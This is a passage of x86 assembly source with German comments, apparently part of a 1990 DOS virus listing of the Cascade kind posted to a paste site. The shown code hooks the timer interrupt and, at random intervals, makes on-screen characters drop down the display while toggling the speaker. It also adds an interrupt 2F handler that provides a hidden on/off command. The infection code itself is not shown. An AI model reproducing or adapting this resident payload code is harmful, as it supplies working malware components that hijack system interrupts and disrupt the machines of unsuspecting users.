  719.         JZ      XI_038                          ;
  720.         Wait_HRI_or_VRI                         ;
  721. XI_038:         LODSW                                   ;
  722.         STI                                     ;
  723.         REST    DX,DS,SI                        ;
  724.         RET                                     ;
  725. Load_from_VRAM  ENDP                                    ;
  726.         comment                                 #
  727.                                           ?
  728.     Zeichen und Attribut (AX) in den Videospeicher schreiben.              
  729.                                        
  730.         #                                       ;
  731. Write_to_VRAM   PROC    NEAR                            ;
  732.         SAVE    DI,ES,DX,BX                     ;
  733.         MOV     BX,AX                           ;
  734.         MOV     AL,DH                           ;
  735.         MUL     [Num_of_Col]                    ;
  736.         MOV     DH,0                            ;
  737.         ADD     AX,DX                           ;
  738.         SHL     AX,1                            ;
  739.         ADD     AX,[Page_offset]                ;
  740.         MOV     DI,AX                           ;
  741.         TEST    [Prevent_Snow?],-1              ;
  742.         MOV     ES,[Seg_of_VRAM]                ;
  743.         JZ      XI_039                          ;
  744.         Wait_HRI_or_VRI                         ;
  745. XI_039:         MOV     AX,BX                           ;
  746.         STOSB                                   ;
  747.         STI                                     ;
  748.         REST    BX,DX,ES,DI                     ;
  749.         RET                                     ;
  750. Write_to_VRAM   ENDP                                    ;
  751.         comment                                 #
  752.                                           ?
  753.     Bit 0 von Port B des 8255 Chips zur cksetzen (IO-Adresse : &H61 ).      
  754.                                        
  755.         #                                       ;
  756. Toggle_Speaker  PROC    NEAR                            ;
  757.         PUSH    AX                              ;
  758.         IN      AL,PORT_B_8255                  ;
  759.         XOR     AL,02                           ;
  760.         AND     AL,0FE                          ;
  761.         OUT     PORT_B_8255,AL                  ;
  762.         POP     AX                              ;
  763.         RET                                     ;
  764. Toggle_Speaker  ENDP                                    ;
  765.         comment                                 #
  766.                                           ?
  767.     CF gesetzt, wenn AL ein nicht darstellbares Zeichen enth lt.            
  768.                                        
  769.         #                                       ;
  770. Is_it_blank_?   PROC    NEAR                            ;
  771.         CMP     AL,0                            ;
  772.         JZ      XI_040                          ;
  773.         CMP     AL,20                           ;
  774.         JZ      XI_040                          ;
  775.         CMP     AL,-1                           ;
  776.         JZ      XI_040                          ;
  777.         CLC                                     ;
  778.         RET                                     ;
  779. XI_040:         STC                                     ;
  780.         RET                                     ;
  781. Is_it_blank_?   ENDP                                    ;
  782.         comment                                 #
  783.                                           ?
  784.     CF gesetzt, wenn AL ein Zeichen aus dem Linienzeichensatz enth lt.      
  785.                                        
  786.         #                                       ;
  787. Spec_Graphik?   PROC    NEAR                            ;
  788.         CMP     AL,0B0                          ;
  789.         JB      XI_041                          ;
  790.         CMP     AL,0DF                          ;
  791.         JA      XI_041                          ;
  792.         STC                                     ;
  793.         RET                                     ;
  794. XI_041:         CLC                                     ;
  795.         RET                                     ;
  796. Spec_Graphik?   ENDP                                    ;
  797.         comment                                 #
  798.                                           ?
  799.     Geschwindigkeit der Maschine ( zur Verwendung in DELAY ) ermitteln.    
  800.                                        
  801.         #                                       ;
  802. GetSysSpeed     PROC    NEAR                            ;
  803.         PUSH    DS                              ;
  804.         MOV     AX,BIOSDATASEG                  ;
  805.         MOV     DS,AX                           ;
  806.         STI                                     ;
  807.         MOV     AX,[B_TIMERVAR]                 ;
  808. XI_042:         CMP     AX,[B_TIMERVAR]                 ;
  809.         JZ      XI_042                          ;
  810.         XOR     CX,CX                           ;
  811.         MOV     AX,[B_TIMERVAR]                 ;
  812. XI_043:         INC     CX                              ;
  813.         JZ      XI_045                          ;
  814.         CMP     AX,[B_TIMERVAR]                 ;
  815.         JZ      XI_043                          ;
  816. XI_044:         POP     DS                              ;
  817.         MOV     AX,CX                           ;
  818.         XOR     DX,DX                           ;
  819.         MOV     CX,0F                           ;
  820.         DIV     CX                              ;
  821.         MOV     CS:[Speed],AX                   ;
  822.         RET                                     ;
  823. XI_045:         DEC     CX                              ;
  824.         JMP     XI_044                          ;
  825. GetSysSpeed     ENDP                                    ;
  826.         comment                                 #
  827.                                           ?
  828.     Verz gern ( Verz gerungszeit ist kaum maschinenabh ngig ).              
  829.                                        
  830.         #                                       ;
  831. Delay           PROC    NEAR                            ;
  832.         PUSH    CX                              ;
  833. XI_046:         PUSH    CX                              ;
  834.         MOV     CX,[Speed]                      ;
  835. XI_047:         LOOP    XI_047                          ;
  836.         POP     CX                              ;
  837.         LOOP    XI_046                          ;
  838.         POP     CX                              ;
  839.         RET                                     ;
  840. Delay           ENDP                                    ;
  841.         comment                                 #
  842.                                           ?
  843.     Eine neue Interrupt 1C(h) Behandlungsroutine.                          
  844.                                        
  845.         #                                       ;
  846. XI_048          LABEL   NEAR                            ;
  847. XR_009          EQU     XI_048 + PSPsize                ;----------;
  848.         TEST    CS:[ISR_Flags],MASK R_in_1c OR MASK ExtCom ;
  849.         JZ      XI_049                          ;----------;
  850.         JMP     XI_067                          ;
  851. XI_049:         OR      CS:[ISR_Flags],MASK R_in_1c     ;
  852.         DEC     CS:[XR_002]                     ;
  853.         JZ      XI_050                          ;
  854.         JMP     XI_066                          ;
  855. XI_050:         SAVE    DS,ES                           ;
  856.         MOV_S   DS,CS                           ;
  857.         MOV_S   ES,CS                           ;
  858.         SAVE    AX,BX,CX,DX,SI,DI,BP            ;
  859.         MOV     AL,EOI_8259A                    ;
  860.         OUT     PORT_B_8259A,AL                 ;
  861.         MOV     AX,[XR_003]                     ;
  862.         CMP     AX,0438                         ;
  863.         JNB     XI_051                          ;
  864.         MOV     AX,0438                         ;
  865. XI_051:         CALL    Random                          ;
  866.         INC     AX                              ;
  867.         MOV     [XR_002],AX                     ;
  868.         MOV     [XR_003],AX                     ;
  869.         PUSH    DS                              ;
  870.         MOV     AX,BIOSDATASEG                  ;
  871.         MOV     DS,AX                           ;
  872.         MOV     AX,[B_VidPage]                  ;
  873.         POP     DS                              ;
  874.         MOV     [Page_offset],AX                ;
  875.         MOV     [Last_Line],18                  ;
  876.         MOV     DL,-1                           ;
  877.         MOV     AX,1130                         ;
  878.         MOV     BH,0                            ;
  879.         SAVE    ES,BP                           ;
  880.         INT     10                              ;
  881.         REST    BP,ES                           ;
  882.         CMP     DL,-1                           ;
  883.         JZ      XI_052                          ;
  884.         MOV     [Last_Line],DL                  ;
  885. XI_052:         CALL    GetSysSpeed                     ;
  886.         MOV     AH,0F                           ;
  887.         INT     10                              ;
  888.         MOV     [Num_of_Col],AH                 ;
  889.         MOV     [Prevent_Snow?],0               ;
  890.         MOV     [Seg_of_VRAM],MonoBase          ;
  891.         CMP     AL,07                           ;
  892.         JZ      XI_054                          ;
  893.         JB      XI_053                          ;
  894.         JMP     XI_064                          ;
  895. XI_053:         MOV     [Seg_of_VRAM],ColorBase         ;
  896.         CMP     AL,03                           ;
  897.         JA      XI_054                          ;
  898.         CMP     AL,02                           ;
  899.         JB      XI_054                          ;
  900.         MOV     [Prevent_Snow?],01              ;
  901.         MOV     AL,[Last_Line]                  ;
  902.         INC     AL                              ;
  903.         MUL     [Num_of_Col]                    ;
  904.         MOV     [Num_of_char],AX                ;
  905.         MOV     AX,[XR_004]                     ;
  906.         CMP     AX,[Num_of_char]                ;
  907.         JBE     XI_054                          ;
  908.         MOV     AX,[Num_of_char]                ;
  909. XI_054:         CALL    Random                          ;
  910.         INC     AX                              ;
  911.         MOV     SI,AX                           ;
  912. XI_055:         XOR     DI,DI                           ;
  913. XI_056:         INC     DI                              ;
  914.         MOV     AX,[Num_of_char]                ;
  915.         SHL     AX,1                            ;
  916.         CMP     DI,AX                           ;
  917.         JBE     XI_057                          ;
  918.         JMP     XI_064                          ;
  919. XI_057:         OR      [ISR_Flags],MASK Recf_1         ;
  920.         MOV     AL,[Num_of_Col]                 ;
  921.         MOV     AH,0                            ;
  922.         CALL    Random                          ;
  923.         MOV     DL,AL                           ;
  924.         MOV     AL,[Last_Line]                  ;
  925.         MOV     AH,0                            ;
  926.         CALL    Random                          ;
  927.         MOV     DH,AL                           ;
  928.         CALL    Load_from_VRAM                  ;
  929.         CALL    Is_it_blank_?                   ;
  930.         JB      XI_056                          ;
  931.         CALL    Spec_Graphik?                   ;
  932.         JB      XI_056                          ;
  933.         MOV     [Last_Pair],AX                  ;
  934.         MOV     CL,[Last_Line]                  ;
  935.         MOV     CH,0                            ;
  936. XI_058:         INC     DH                              ;
  937.         CMP     DH,[Last_Line]                  ;
  938.         JA      XI_062                          ;
  939.         CALL    Load_from_VRAM                  ;
  940.         CMP     AH,[Last_Attr]                  ;
  941.         JNZ     XI_062                          ;
  942.         CALL    Is_it_blank_?                   ;
  943.         JB      XI_060                          ;
  944. XI_059:         CALL    Spec_Graphik?                   ;
  945.         JB      XI_062                          ;
  946.         INC     DH                              ;
  947.         CMP     DH,[Last_Line]                  ;
  948.         JA      XI_062                          ;
  949.         CALL    Load_from_VRAM                  ;
  950.         CMP     AH,[Last_Attr]                  ;
  951.         JNZ     XI_062                          ;
  952.         CALL    Is_it_blank_?                   ;
  953.         JNB     XI_059                          ;
  954.         CALL    Toggle_Speaker                  ;
  955.         DEC     DH                              ;
  956.         CALL    Load_from_VRAM                  ;
  957.         MOV     [Last_Char],AL                  ;
  958.         INC     DH                              ;
  959. XI_060:         AND     [ISR_Flags],NOT MASK Recf_1     ;
  960.         DEC     DH                              ;
  961.         MOV     AL,' '                          ;
  962.         CALL    Write_to_VRAM                   ;
  963.         INC     DH                              ;
  964.         MOV     AL,[Last_Char]                  ;
  965.         CALL    Write_to_VRAM                   ;
  966.         JCXZ    XI_061                          ;
  967.         CALL    Delay                           ;
  968.         DEC     CX                              ;
  969. XI_061:         JMP     XI_058                          ;
  970. XI_062:         TEST    [ISR_Flags],MASK Recf_1         ;
  971.         JZ      XI_063                          ;
  972.         JMP     XI_056                          ;
  973. XI_063:         CALL    Toggle_Speaker                  ;
  974.         DEC     SI                              ;
  975.         JZ      XI_064                          ;
  976.         JMP     XI_055                          ;
  977. XI_064:         IN      AL,PORT_B_8255                  ;
  978.         AND     AL,0FC                          ;
  979.         OUT     PORT_B_8255,AL                  ;
  980.         MOV     AX,3                            ;
  981.         CALL    Random                          ;
  982.         INC     AX                              ;
  983.         MUL     [XR_004]                        ;
  984.         JNB     XI_065                          ;
  985.         MOV     AX,-1                           ;
  986. XI_065:         MOV     [XR_004],AX                     ;
  987.         REST    BP,DI,SI,DX,CX,BX,AX,ES,DS      ;
  988. XI_066:         AND     CS:[ISR_Flags],NOT MASK R_in_1c ;
  989. XI_067:         JMP     DWORD PTR CS:[Org_Int_1C]       ;
  990.                             ;
  991. IF      SWITCHABLE                                      ;
  992.                             ;
  993.         comment                                 #
  994.                                           ?
  995.     Implementierung eines neuen in CMD_2F definierten internen Befehls.    
  996.                                        
  997.         #                                       ;
  998. XI_068          Label   Near                            ;
  999. Int_2F_ISR      EQU     XI_068 + PSPsize                ;
  1000.         CMP     AH,0AEH                         ;
  1001.         JNZ     Int_2F_end                      ;
  1002.         CMP     DX,-1                           ;
  1003.         JNZ     Int_2F_end                      ;
  1004.         CMP     AL,0                            ;
  1005.         JNZ     Int_2F_2nd                      ;
  1006.         CALL    Decode_2F                       ;
  1007.         JNZ     Int_2F_end                      ;
  1008.         DEC     AL                              ;
  1009.         IRET                                    ;
  1010. Int_2F_2nd:     CMP     AL,1                            ;
  1011.         JNZ     Int_2F_end                      ;
  1012.         CALL    Decode_2F                       ;
  1013.         JNZ     Int_2F_end                      ;
  1014.         SAVE    DS,DX,AX                        ;
  1015.         MOV_S   DS,CS                           ;
  1016.         XOR     [ISR_Flags],MASK ExtCom         ;
  1017.         MOV     DX,OFFSET MSG_ON                ;
  1018.         TEST    [ISR_Flags],MASK ExtCom         ;
  1019.         JZ      XI_069                          ;
  1020.         MOV     DX,OFFSET MSG_OFF               ;
  1021. XI_069:         MOV     AH,9                            ;
  1022.         MSDOS                                   ;
  1023.         REST    AX,DX,DS                        ;
  1024.         AND     BYTE PTR [SI],0                 ;
  1025.         IRET                                    ;
  1026. Int_2F_end:     JMP     DWORD PTR CS:[Org_Int_2F]       ;
  1027.         comment                                 #
  1028.                                           ?
  1029.      berpr fen, ob der in CMD_2F definierte Befehl angesprochen wurde.      
  1030.                                        
  1031.         #                                       ;
  1032. Decode_2F       PROC    NEAR                            ;
  1033.         SAVE    SI,DI,ES,CX                     ;
  1034.         MOV     CX,05                           ;
  1035.         MOV_S   ES,CS                           ;
  1036.         MOV     DI,OFFSET Cmd_2F                ;
  1037.         CLD                                     ;
  1038.         REPE    CMPSW                           ;
  1039.         REST    CX,ES,DI,SI                     ;
  1040.         RET                                     ;
  1041. Decode_2F       ENDP                                    ;
  1042.                             ;
  1043. ENDIF                                                   ;
  1044.         comment                                 #
  1045.                                           ?
  1046.     Okay, das war's. Zum Schlu  noch einige Definitionen.                  
  1047.                                        
  1048.         #                                       ;
  1049. EOFC            EQU     THIS WORD                       ;
  1050. XR_010          EQU     OFFSET EOFC - 1 + FIRSTBASE     ;
  1051. TEXT            ENDS                                    ;
  1052. IF2                                                     ;----------------;
  1053. %Out                                                                      
  1054. %Out              (C) 1990 164A12565AA18213165556D3125C4B962712         ?
  1055. ENDIF                                                                    ;
  1056. END
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement